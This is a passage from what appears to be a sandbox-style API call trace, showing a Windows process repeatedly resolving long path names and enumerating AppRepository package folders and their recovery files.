Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe") returned 0x7a [0215.788] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe") returned 0x7a [0215.789] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsCamera_2015.1071.40.0_neutral_~_8wekyb3d8bbwe\\") returned 0x7b [0215.925] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\microsoft.windowscommunicationsapps_2015.6308.42271.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\microsoft.windowscommunicationsapps_2015.6308.42271.0_neutral_~_8wekyb3d8bbwe") returned 0x89 [0215.927] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\microsoft.windowscommunicationsapps_2015.6308.42271.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\microsoft.windowscommunicationsapps_2015.6308.42271.0_neutral_~_8wekyb3d8bbwe") returned 0x89 [0215.928] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\microsoft.windowscommunicationsapps_2015.6308.42271.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\microsoft.windowscommunicationsapps_2015.6308.42271.0_neutral_~_8wekyb3d8bbwe\\") returned 0x8a [0215.936] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\microsoft.windowscommunicationsapps_2015.6308.42271.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\microsoft.windowscommunicationsapps_2015.6308.42271.0_neutral_~_8wekyb3d8bbwe") returned 0x89 [0215.937] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\microsoft.windowscommunicationsapps_2015.6308.42271.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\microsoft.windowscommunicationsapps_2015.6308.42271.0_neutral_~_8wekyb3d8bbwe") returned 0x89 [0215.938] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\microsoft.windowscommunicationsapps_2015.6308.42271.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\microsoft.windowscommunicationsapps_2015.6308.42271.0_neutral_~_8wekyb3d8bbwe\\") returned 0x8a [0215.947] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsMaps_4.1509.50911.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsMaps_4.1509.50911.0_neutral_~_8wekyb3d8bbwe") returned 0x78 [0215.949] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsMaps_4.1509.50911.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsMaps_4.1509.50911.0_neutral_~_8wekyb3d8bbwe") returned 0x78 [0215.950] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsMaps_4.1509.50911.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsMaps_4.1509.50911.0_neutral_~_8wekyb3d8bbwe\\") returned 0x79 [0215.954] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsMaps_4.1509.50911.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsMaps_4.1509.50911.0_neutral_~_8wekyb3d8bbwe") returned 0x78 [0215.954] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsMaps_4.1509.50911.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsMaps_4.1509.50911.0_neutral_~_8wekyb3d8bbwe") returned 0x78 [0215.955] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsMaps_4.1509.50911.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsMaps_4.1509.50911.0_neutral_~_8wekyb3d8bbwe\\") returned 0x79 [0216.151] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacfffe15, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xacfffe15, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xd9c48c16, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.152] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13514eb6, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x13514eb6, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x135ad91f, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x438, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0216.152] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0216.152] FindClose (in: hFindFile=0x1d469ca0 | out: hFindFile=0x1d469ca0) returned 1 [0216.153] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0216.155] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacfffe15, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xd9c48c16, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xd9c48c16, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.155] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13514eb6, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x13514eb6, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x135ad91f, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x438, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0216.155] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13514eb6, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x13514eb6, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x135ad91f, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x438, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 0 [0216.156] FindClose (in: hFindFile=0x1d469ca0 | out: hFindFile=0x1d469ca0) returned 1 [0216.157] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0216.159] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae7fdabd, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xdac60aa2, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xdac60aa2, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.160] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdf6dad, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0xfdf6dad, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0xfe8f654, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x440, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0216.160] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0216.160] FindClose (in: hFindFile=0x1d469ca0 | out: hFindFile=0x1d469ca0) returned 1 [0216.161] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0216.162] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae7fdabd, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xdac60aa2, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xdac60aa2, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.163] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdf6dad, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0xfdf6dad, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0xfe8f654, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x440, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0216.163] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfdf6dad, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0xfdf6dad, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0xfe8f654, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x440, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 0 [0216.163] FindClose (in: hFindFile=0x1d469ca0 | out: hFindFile=0x1d469ca0) returned 1 [0216.164] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0216.164] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe") returned 0x79 [0216.165] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe") returned 0x79 [0216.166] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe\\") returned 0x7a [0216.169] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae7d77ba, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xdac60aa2, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xdac60aa2, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.169] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1018a7a5, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x1018a7a5, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x10307fbe, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0216.170] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0216.170] FindClose (in: hFindFile=0x1d469ca0 | out: hFindFile=0x1d469ca0) returned 1 [0216.171] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0216.171] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe") returned 0x79 [0216.172] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe") returned 0x79 [0216.173] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsPhone_2015.1009.10.0_neutral_~_8wekyb3d8bbwe\\") returned 0x7a [0216.175] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae7d77ba, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xdac60aa2, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xdac60aa2, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.175] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1018a7a5, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x1018a7a5, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x10307fbe, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0216.175] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1018a7a5, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x1018a7a5, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x10307fbe, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 0 [0216.175] FindClose (in: hFindFile=0x1d469ca0 | out: hFindFile=0x1d469ca0) returned 1 [0216.176] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0216.180] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf698066, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xaf698066, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0xdbb475bb, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.180] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb80004a, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0xb80004a, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0xba887c3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x478, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0216.180] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0216.180] FindClose (in: hFindFile=0x1d469ca0 | out: hFindFile=0x1d469ca0) returned 1 [0216.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0216.183] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf698066, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xdbb475bb, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xdbb475bb, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0216.184] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb80004a, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0xb80004a, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0xba887c3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x478, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0216.184] FindNextFileW (in: hFindFile=0x1d469ca0, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb80004a, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0xb80004a, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0xba887c3, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x478, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 0 [0216.184] FindClose (in: hFindFile=0x1d469ca0 | out: hFindFile=0x1d469ca0) returned 1 [0216.185] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0216.186] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe") returned 0x82 [0216.187] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe") returned 0x82 [0216.187] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe\\") returned 0x83 [0216.357] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe") returned 0x82 [0216.359] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe") returned 0x82 [0216.360] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsSoundRecorder_2015.1012.110.0_neutral_~_8wekyb3d8bbwe\\") returned 0x83 [0216.376] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.WindowsStore_2015.1013.14.0_neutral_~_8wekyb3d8bbwe") returned 0x79 [0216.379] 